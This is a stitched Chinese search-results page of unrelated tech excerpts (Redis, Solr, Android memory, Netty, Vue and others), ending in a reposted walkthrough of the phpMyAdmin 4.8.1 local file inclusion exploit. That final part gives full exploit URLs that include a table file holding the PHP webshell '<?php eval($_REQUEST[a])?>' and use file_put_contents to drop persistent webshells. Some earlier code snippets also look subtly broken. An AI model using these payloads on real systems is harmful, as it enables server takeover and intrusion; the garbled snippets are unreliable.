[RocketMQ配置优化技巧 ]的搜索结果

...，某知名社交平台通过优化Redis中的哈希结构存储用户信息，有效提升了用户资料查询速度，降低了数据库读取压力，实现了服务性能的显著提升。 同时，鉴于Redis对多种数据结构的支持，研究人员和开发者正不断探索新的使用方式以适应更复杂的应用场景。例如，在流处理和日志记录方面，有序集合因其排序和范围查询特性被创新性地用于实现高效的实时排行榜功能。此外，结合Redis Cluster的分片技术，可以进一步提高系统的水平扩展能力，满足大数据时代海量数据的存储与检索需求。 另外，值得注意的是，Redis Labs公司于近期发布的最新版本中，对集合操作的性能进行了深度优化，并引入了更多高级数据结构，旨在为开发者提供更强大的工具集，解决实际业务中的复杂问题。因此，紧跟Redis官方更新动态，深入研究并灵活运用其提供的数据结构，是提升系统性能和扩展性的关键所在。 综上所述，在实践中，不仅要理解Redis各种数据结构的基本原理与操作方法，还需结合具体业务场景进行有针对性的选择和设计，才能最大化发挥Redis的优势，应对瞬息万变的技术挑战。

...需求和行为模式，进而优化产品和服务。例如，腾讯云推出的智能客服系统，不仅可以根据客户的历史行为预测其潜在需求，还可以通过数据分析提前发现并解决问题，从而避免客户不满。 这些技术的发展不仅为企业提供了更多可能性，也为客户带来了更好的体验。未来，随着5G、物联网等新技术的普及，实时客户服务系统将进一步升级，变得更加智能化和个性化。因此，对于企业和开发者而言，持续关注这些前沿技术，并将其应用于实际场景中，将是提升竞争力的关键。

...实时推荐系统的开发与优化是一项持续迭代的过程，需要不断引入更先进的技术和理论。 近期，业界对基于深度学习的推荐算法研究热度不减，例如深度神经网络（DNN）和自注意力机制在个性化推荐中的应用，可以更深入地理解和挖掘用户行为背后的潜在模式，进一步提升推荐效果。同时，为解决冷启动问题和提高推荐新颖性，部分研究人员正尝试结合图神经网络以及元学习等前沿技术进行探索。 此外，随着对用户隐私保护意识的提升，如何在保障数据安全性和用户隐私的前提下实现高效的实时推荐也成为一个重要课题。一些公司和研究机构正在研究和发展诸如差分隐私、同态加密等技术，以确保在数据加密状态下进行计算和分析，从而兼顾精准推荐与合规要求。 总的来说，在大数据时代下，实时推荐系统的构建不仅依赖于强大的数据处理工具如Greenplum，更需要关注新兴技术的研究进展与实践，以及应对数据伦理与法规挑战的策略，才能在满足用户体验的同时，推动行业健康有序发展。

...me浏览器宣布进一步优化对HTML5新特性的支持，包括WebAssembly、WebVR/A-Frame等，为在线游戏、虚拟现实应用提供更强大的性能表现。 同时，针对HTML5的安全性问题，各大浏览器厂商也加强了安全防护措施的研发。例如，Mozilla Firefox通过定期更新，增强了对Web Storage、Web Socket等API的安全审查机制，并与第三方安全研究机构合作，及时发现并修复潜在的安全漏洞。 此外，为了弥补不同浏览器对HTML5兼容性的差异，社区及行业联盟也在积极推动标准化进程。W3C不仅持续完善HTML5规范，还倡导各浏览器遵循一致的标准实现，以减少开发者在实际项目中的适配难题。 深入解读方面，一项来自W3Techs的最新统计数据显示，全球TOP1000万网站中，已有超过80%的站点采用HTML5作为其DOCTYPE声明，充分展现了HTML5在全球范围内的广泛应用与普及程度。未来，随着Web Components、Service Workers等新一代Web技术的发展，HTML5将继续扮演关键角色，助力构建更为强大、稳定且安全的网络应用生态。

...框架，允许我们扩展和优化搜索性能。首先，让我们看看如何在Solr中设置一个基本的地理搜索环境： java // 创建一个SolrServer实例 SolrServer server = new HttpSolrServer("http://localhost:8983/solr/mycore"); // 定义一个包含地理位置字段的Document对象 Document doc = new Document(); doc.addField("location", "40.7128,-74.0060"); // 纽约市坐标 3. 地理坐标编码 地理搜索的关键在于正确地编码和存储经纬度。Solr这家伙可灵活了，它能支持好几种地理编码格式，比如那个GeoJSON啦，还有WKT（别名Well-Known Text），这些它都玩得转。例如，我们可以使用Solr Spatial Component（SPT）来处理这些数据： java // 在schema.xml中添加地理位置字段 // 在添加文档时，使用GeoTools或类似库进行坐标编码 Coordinate coord = new Coordinate(40.7128, -74.0060); Point point = new Point(coord); String encodedLocation = SpatialUtil.encodePoint(point, "4326"); // WGS84坐标系 doc.addField("location", encodedLocation); 4. 地理范围查询（BoundingBox） Solr的Spatial Query模块允许我们执行基于地理位置的范围查询。例如，查找所有在纽约市方圆10公里内的文档： java // 构造一个查询参数 SolrQuery query = new SolrQuery(":"); query.setParam("fl", ",_geo_distance"); // 返回地理位置距离信息 query.setParam("q", "geodist(location,40.7128,-74.0060,10km)"); server.query(query); 5. 地理聚合（Geohash或Quadtree） Solr还支持地理空间聚合，如将文档分组到特定的地理区域（如GeoHash或Quadtree）。这有助于区域划分和统计分析： java // 使用Geohash进行区域划分 query.setParam("geohash", "radius(40.7128,-74.0060,10km)"); List geohashes = server.query(query).get("geohash"); 6. 神经网络搜索与地理距离排序 Solr 8.x及以上版本引入了神经网络搜索功能，允许使用深度学习模型优化地理位置相关查询。虽然具体实现依赖于Sease项目，但大致思路是将用户输入转换为潜在的地理坐标，然后进行精确匹配： java // 假设有一个预训练模型 NeuralSearchService neuralService = ...; double[] neuralCoordinates = neuralService.transform("New York City"); query.setParam("nn", "location:" + Arrays.toString(neuralCoordinates)); 7. 结论与展望 Apache Solr的地理搜索功能使得地理位置信息的索引和检索变得易如反掌。开发者们可以灵活运用各种Solr组件和拓展功能，像搭积木一样拼接出适应于五花八门场景的智能搜索引擎，让搜索变得更聪明、更给力。不过呢，随着科技的不断进步，Solr这个家伙肯定还会持续进化升级，没准儿哪天它就给我们带来更牛掰的功能，比如实时地理定位分析啊、预测功能啥的。这可绝对能让我们的搜索体验蹭蹭往上涨，变得越来越溜！ 记住，Solr的强大之处在于它的可扩展性和社区支持，因此在实际应用中，持续学习和探索新特性是保持竞争力的关键。现在，你已经掌握了Solr地理搜索的基本原理，剩下的就是去实践中发现更多的可能性吧！

... 实际应用中的挑战与优化 然而，在实际场景中，直接使用上述简单方法可能会遇到一些挑战： - 竞争条件：多个节点可能同时尝试获取锁，单纯依赖INSERT IF NOT EXISTS可能导致冲突。 - 网络延迟：在网络分区或高延迟情况下，一个节点可能无法及时感知到锁已被其他节点获取。 为了解决这些问题，我们可以在客户端实现更复杂的算法，如采用CAS（Compare and Set）策略，或者引入租约机制并结合心跳维持，确保在获得锁后能够稳定持有并最终正确释放。 5. 结论与探讨 虽然Cassandra并不像Redis那样提供了内置的分布式锁API，但它凭借其强大的分布式能力和灵活的数据模型，仍然可以通过精心设计的查询语句和客户端逻辑实现分布式锁功能。当然，在真实生产环境中，实施这样的方案之前，需要充分考虑性能、容错性以及系统的整体复杂度。每个团队会根据自家业务的具体需求和擅长的技术工具箱，挑选出最合适、最趁手的解决方案。就像有时候，面对复杂的协调难题，还不如找一个经验丰富的“老司机”帮忙，比如用那些久经沙场、深受好评的分布式协调服务，像是ZooKeeper或者Consul，它们往往能提供更加省时省力又高效的解决之道。不过，对于已经深度集成Cassandra的应用而言，直接在Cassandra内实现分布式锁也不失为一种有创意且贴合实际的策略。

...oid开发过程中内存优化的理解，很多东西都是平常的习惯和一些细节问题，重在剖析优化的原理，养成一种良好的代码习惯。 概述 既然谈优化，就绕不开Android三个内存相关的经典问题： OOM 内存泄漏 频繁GC卡顿 导致这三个问题的原因： OOM App在启动时会从系统分配一个默认的堆内存，同时拥有一个堆内存最大值（可以动态申请这个大小），这个Max Heap Size的大小，决定了软件运行时可以申请的最大运行内存。App软件内存分配是个不断创建和GC回收的过程，就像一个水池拥有注入和排出水的通道，当注入过快，排出不足时，水池满了溢出，Out of Memory，即我们常说的OOM。 内存泄漏 当我们在代码中创建对象，会申请内存空间，同时包含一个对象的引用，当我们长时间不使用该引用时，JVM GC操作时会根据这个引用去释放内存。但是，对象的回收可能有点差错，如果这个对象A被另一个线程B所引用，当我们不再使用A，可A却处于B的hold状态，那么我们每次创建的A都得不到回收，这个时候就会发生内存泄漏了。 频繁GC卡顿 上面说了，App的堆内存有最大值，是有限的，那么如果我们频繁的创建，当运行内存不断上升，为了维持App的运行，GC回收也会频繁操作，软件运行资源有些，必然导致卡顿问题。 JAVA的GC机制，非常的复杂和精辟，不可一言概论之，在看过许多blog之后，给出一点自己的总结。 简述JVM GC 我们都知道Java语言非常的方便，不像C语言，申请和释放内存都是自己操作，java有虚拟机帮忙。Android 的每个应用程序都会使用一个专有的Dalvik虚拟机实例来运行，即使内存泄漏也只是kill当前App. Java虚拟机有一套完整的GC方案，只是简单理解的话就是，它维持着一个对象关系树，当开始GC操作时，它会从GC Roots开始扫描整个Object Tree，当发现某个无法从Tree中引用到的对象时，便将其回收。 GC Roots分类举例： Class类 Alive Thread 线程stack上的对象，如方法或者局部变量 JNI活动对象 System Class Loader Java中的引用关系 java中有四种对象引用关系，分别是：强引用StrongRefernce、软引用SoftReference、弱引用WeakReference、虚引用PhantomReference，这四种引用关系分别对应的效果： StrongRefernce 通过new创建的对象，如Object obj = new Object();，强引用不会被垃圾回收器回收和销毁，即是OOM，所以这也容易造成我们接下来会分析的《非静态内部类持有对象导致的内存泄漏问题》 SoftReference 软引用可以被垃圾回收器回收，但它的生命周期要强于弱引用，但GC回收发生时，只有在内存空间不足时才会回收它 WeakReference 弱引用的生命周期短，可以被GC回收，但GC回收发生时，扫描到弱引用便会被垃圾回收和销毁掉 PhantomReference 虚引用任何时候都可以被GC回收，它不会影响对象的垃圾回收机制，它只有一个构造函数，因此只能配合ReferenceQueue一起使用，用于记录对象回收的过程 PhantomReference(T referent, ReferenceQueue<? super T> q) 关于ReferenceQueue 他的作用主要用于记录引用是否被回收，除了强引用其他的引用方式得构造函数中都包含了ReferenceQueue参数。当调用引用的get（）方法返回null时，我们的对象不一定已经回收掉了，可能正在进入回收流程中，而当对象被确认回收后，它的引用会被添加到ReferenceQueue中。 Felix obj = new Felix();ReferenceQueue<Felix> rQueue = new ReferenceQueue<Felix>();WeakReference<Felix> weakR = new WeakReference<Felix>(obj,rQueue); 总结 看完Android引用和回收机制，我们对于代码中内存问题的原因也有一定认识，当时现实中内存泄漏或者溢出的问题，总是不经意间，在我之后一些列的文章中，会对不同场景的代码问题进行分析和解决，一起来关注吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/sslinp/article/details/84787843。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...18.0版本，该版本优化了对Hadoop 3.x系列的兼容性，并引入了若干新的Pig Latin函数以支持更复杂的数据转换任务，这无疑为大规模文本数据处理提供了更为高效、灵活的解决方案。 同时，在实际应用层面，众多企业正积极采用Apache Pig进行海量日志分析、社交媒体情绪挖掘等场景。例如，某知名电商平台利用Pig Latin脚本实现了对其数亿条用户评论数据的快速清洗与情感分析，不仅提升了客户体验管理效率，还为企业决策提供了实时、准确的数据支持。 此外，学术界也在持续探索Apache Pig在文本挖掘领域的潜能。近期一项研究将Pig Latin与深度学习框架TensorFlow结合，构建了一种混合式的大规模文本预处理流程，成功应用于新闻语料库的自动分类项目中，展示了Apache Pig在结合前沿技术推动大数据处理创新方面的巨大潜力。 综上所述，Apache Pig在大规模文本数据处理方面的价值得到了实践和理论研究的双重验证，而随着大数据技术的不断迭代更新，我们有理由期待Apache Pig在未来能继续发挥其关键作用，帮助企业和社会科研机构更深入地挖掘和利用信息宝藏。

...的算法和技术进行持续优化，以应对日益复杂的业务场景与不断提升的用户体验需求。对推荐系统的研究者和开发者而言，紧跟领域内前沿动态，深挖技术创新潜能，将有助于推动推荐系统的功能完善与效果提升。

... 4. 探讨与实践 优化与扩展 当我们基于Node.js和GraphQL构建API时，可以充分利用其灵活性，进行模块化拆分、缓存策略优化、权限控制等一系列高级操作。比如，我们能够用中间件这玩意儿来给请求做个“安检”，验证它的真实性和处理可能出现的小差错。另外，还可以借助 DataLoader 这个神器，嗖嗖地提升批量数据加载的速度，让你的数据加载效率噌噌往上涨。 - 模块化与组织结构：随着项目规模扩大，可将schema和resolver按业务逻辑拆分为多个文件，便于管理和维护。 - 缓存策略：针对频繁查询但更新不频繁的数据，可以在resolver中加入缓存机制，显著提升响应速度。 - 权限控制：结合JWT或其他认证方案，在resolver执行前验证请求权限，确保数据安全。 总结来说，Node.js与GraphQL的结合为API设计带来了新的可能性。利用Node.js的强劲性能和GraphQL的超级灵活性，我们能够打造一款既快又便捷的API，甭管多复杂的业务需求，都能妥妥地满足。在这个过程中，咱们得不断地动脑筋、动手实践，还要不断调整优化，才能把这两者的能量完全释放出来，榨干它们的每一份潜力。

...解其背后的设计思想和优化目的。例如，新API可能简化了接口设计，提高了算法效率，或者更好地支持了分布式计算。所以，每次版本更新带来的API变动，其实都是我们好好瞅瞅、改进现有项目的好机会，这可不仅仅是个技术挑战那么简单。 总结来说，面对Mahout版本更新带来的旧版API弃用问题，我们需要保持敏锐的技术嗅觉，及时跟进官方文档和技术动态，适时对旧有代码进行重构和迁移。这样一来，我们不仅能巧妙地躲开API改版可能引发的各种运行故障，更能搭上新版Mahout这班快车，让我们的机器学习应用效果和用户体验蹭蹭往上涨。同时，这也是一个不断学习、不断提升的过程，让我们一起拥抱变化，走在技术进步的前沿。

...推动数据可视化工具的优化升级。例如，Apache Superset项目团队正积极研发新功能，以支持更复杂的数据集处理和自定义映射选项，旨在简化用户操作流程，降低由于人为疏忽导致的列映射异常发生率，进一步提升可视化结果的质量与可信度。 综上所述，理解并掌握数据列映射的相关知识和技术，结合实时的科研动态与行业发展趋势，将有助于我们在实际工作中更好地运用数据可视化工具，揭示隐藏在庞大数据背后的深层次信息，从而驱动决策优化和业务增长。

...源管理方面引入了更多优化和改进。 例如，Ruby 3.0新增了rescue in ensure语法结构，允许开发者在ensure块内部捕获并处理异常，使得资源清理逻辑与异常处理更为紧密地结合在一起。同时，社区对于更高级别的错误处理库如"Sorbet"和"Better Errors"等进行了持续优化，它们提供了丰富的错误类型提示、智能堆栈跟踪以及增强的调试体验，极大地提升了开发效率和代码质量。 此外，随着并发编程在Ruby生态中的广泛应用，如何在多线程环境中妥善处理异常并确保资源安全释放成为了新的挑战。Ruby的Concurrency框架（如GIL和Fibers）及其相关的最佳实践为解决此类问题提供了可能的方案。 实践中，遵循 SOLID 原则和面向对象设计，采用RAII（Resource Acquisition Is Initialization）模式编写代码也能有效地管理和释放资源，无论是否出现异常。这种设计模式强调资源的生命周期应与其对应的对象生命周期绑定，从而保证了资源的及时释放。 总之，在Ruby的世界里，不断跟进语言特性和社区最佳实践，结合具体的业务场景灵活运用异常处理机制，是每一位Ruby程序员持续提升代码健壮性与稳定性的必经之路。

...景的需求。 - 性能优化：相对于XML等其他数据格式，JSON的体积更小，解析速度更快，有利于提升网站性能。 4. 结语 拥抱JSON，让数据流动更自由 随着Web技术的发展，JSON已经深入到我们日常开发的方方面面。它如同一条无形的信息高速公路，承载着网站间、系统间的数据流通。作为开发者，咱们得把JSON的使用窍门玩得贼溜，可别浪费了它的那些个优点。把它用得风生水起，让它在咱们的项目里发光发热，发挥出最大的价值，这才是正经事！当我们面对网站数据导入这样的需求时，不妨试着借助JSON的力量，你会发现，数据的搬运原来可以如此轻松自如，充满了无限可能！

...负载均衡策略也在持续优化升级。 例如，在Kubernetes等容器编排系统中，研究人员正尝试将ZooKeeper与Service Mesh结合，利用Istio等服务网格工具实现更智能的流量管理和节点负载均衡，以适应瞬息万变的应用场景和大规模集群环境。这种新的融合方案能够更好地处理网络延迟问题，通过精细化控制请求路由，显著提升系统的稳定性和性能表现。 此外，学术界也不断有新的研究成果涌现，比如改进的基于ZooKeeper的动态负载均衡算法，这类算法能实时响应系统负载变化，有效避免热点现象，提高资源利用率。同时，对于如何在大规模分布式系统中保障数据一致性与正确性的问题，一些学者提出借助Raft等一致性协议强化ZooKeeper的数据管理能力，从而在高并发场景下也能确保节点负载信息的准确更新与传播。 综上所述，随着技术的不断发展和应用场景的拓展，ZooKeeper节点负载均衡策略的研究与实践正逐步走向精细化、智能化。对于广大开发者而言，紧跟这些前沿动态，不仅有助于提升现有系统的性能与稳定性，更能为未来设计和构建更为复杂且高效的分布式系统奠定坚实基础。

...异步I/O接口进行了优化升级，不仅增强了对各类外部系统的兼容性，还提供了更完善的错误处理机制，使得开发者能够更加便捷、高效地利用异步I/O操作来应对大规模流数据处理场景中的延迟挑战。 与此同时，阿里巴巴集团在其海量数据实时计算实践中，公开分享了如何借助Flink的异步I/O特性，成功实现了与多种存储系统如Hadoop HDFS和阿里云OSS的无缝对接，显著提升了整体业务流程的响应速度和吞吐量。这一实战经验为行业内外的大数据从业者提供了宝贵参考。 此外，针对异步编程模型的深入解读与探讨也不容忽视。例如，知名论文《Asynchronous Programming Models for Big Data Processing》中，作者从理论层面剖析了异步I/O在分布式系统及大数据处理中的核心价值，并结合具体案例阐述了其在降低延迟、提高资源利用率等方面的优越表现。这些前沿研究成果对于指导实际工程实践以及未来技术创新具有重要意义。

...一些挑战，但通过一些技巧和最佳实践，我们可以轻松地解决这些问题。希望这篇文章能帮助你在开发过程中少走弯路，享受编程的乐趣！ 最后，我想说，编程不仅仅是解决问题的过程，更是一种创造性的活动。每一次挑战都是一次成长的机会。希望你能在这个过程中找到乐趣，不断学习和进步！

... 3. 高度优化 Netty不仅支持多种协议，还内置了许多高级特性，如流量控制、拥塞控制、心跳检测等。这些特性的存在可以使我们的应用在高并发的情况下保持良好的稳定性和性能。 例如，我们可以使用以下代码来实现一个心跳检测的功能： kotlin void doHeartbeat(ChannelHandlerContext ctx) { if (System.currentTimeMillis() - lastWriteTime > HEARTBEAT_INTERVAL_MS) { ctx.writeAndFlush(new Heartbeat()).addListener(ChannelFutureListener.CLOSE); lastWriteTime = System.currentTimeMillis(); } else { ctx.close().addListener(ChannelFutureListener.CLOSE); } } 可以看到，这段代码只是一段简单的Java代码，但是在Netty的帮助下，它可以有效地防止长时间无响应而导致的连接断开。 4. 社区活跃，生态丰富 最后，还有一个重要的因素是社区的活跃程度和生态的丰富程度。Netty拥有庞大的用户群体和技术社区，有大量的第三方组件和插件可供选择，大大降低了开发成本和复杂性。 总的来说，虽然NIO是一种强大的I/O模型，但是它并不是万能的，也无法解决所有的问题。你知道吗，跟别的工具一比，Netty可真是个了不得的网络编程神器！它超级简单好上手，扩展性那叫一个强大，优化程度极高，而且周边生态丰富得不要不要的，简直就是我们心中的理想型工具嘛！

《Vue.js与滚动优化实践：迈向现代前端开发的新高度》 在现代前端开发中，Vue.js以其简洁的API和强大的组件化能力逐渐成为主流。然而，随着用户界面复杂度的提升，滚动性能和用户体验的重要性日益凸显。近期，Google推出了一项名为"Intersection Observer API"的新特性，为Vue开发者提供了更智能的滚动管理方式。这一API允许开发者精确地观察元素何时进入或离开视口，从而实现滚动优化，避免不必要的滚动重绘和计算，提高页面性能。 例如，我们可以结合Vue的watch或者v-once指令，以及Intersection Observer API，创建自适应滚动组件，仅当内容实际可见时才渲染或计算。这不仅能减轻服务器压力，还能提升用户的交互体验，特别是在移动设备上，流畅的滚动对于留住用户至关重要。 此外，像LilGiantBug的Better Scroll这样的第三方库，也提供了丰富的滚动优化选项，如防抖、渐进增强等，进一步简化了Vue滚动组件的开发和维护。开发者可以通过引入这些库，快速实现平滑滚动效果，同时保证代码的可维护性和可扩展性。 总之，Vue.js与滚动优化的结合，不仅提升了前端应用的性能，也为开发者提供了更多可能性。随着技术的不断迭代，我们期待看到更多创新的滚动解决方案，推动前端开发向更加高效、人性化的方向发展。

... 3.2版本，进一步优化了性能并增强了对Apache Arrow内存格式的支持，使得数据处理效率再上新台阶。此外，对于需要低延迟响应的场景，Kafka与Spark Streaming的集成使用已成为行业标准，能够实现实时数据流的无缝接入与处理。 与此同时，为了满足不同业务场景下的多元化需求，现代大数据架构设计中常常会结合运用多种工具和技术。例如，在构建企业级大数据平台时，除了Hadoop与Spark外，可能还会引入Flink用于实时计算，Hive或Presto用于SQL查询，以及HBase或Cassandra作为NoSQL存储解决方案，从而构建起一个既包含批处理又能应对实时分析的全方位大数据处理体系。 总之，Hadoop在大数据领域依然扮演着重要角色，但我们也需紧跟时代步伐，关注如Spark、Flink等新兴技术的演进与发展，以便更好地应对不断变化的大数据挑战，挖掘数据背后的价值。

...题。JVM缺乏尾递归优化，这其实也是一个问题。 转自：http://my.oschina.net/clarkhill/blog/59546 转载于:https://www.cnblogs.com/yangh2016/p/5762333.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30561425/article/details/95164045。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。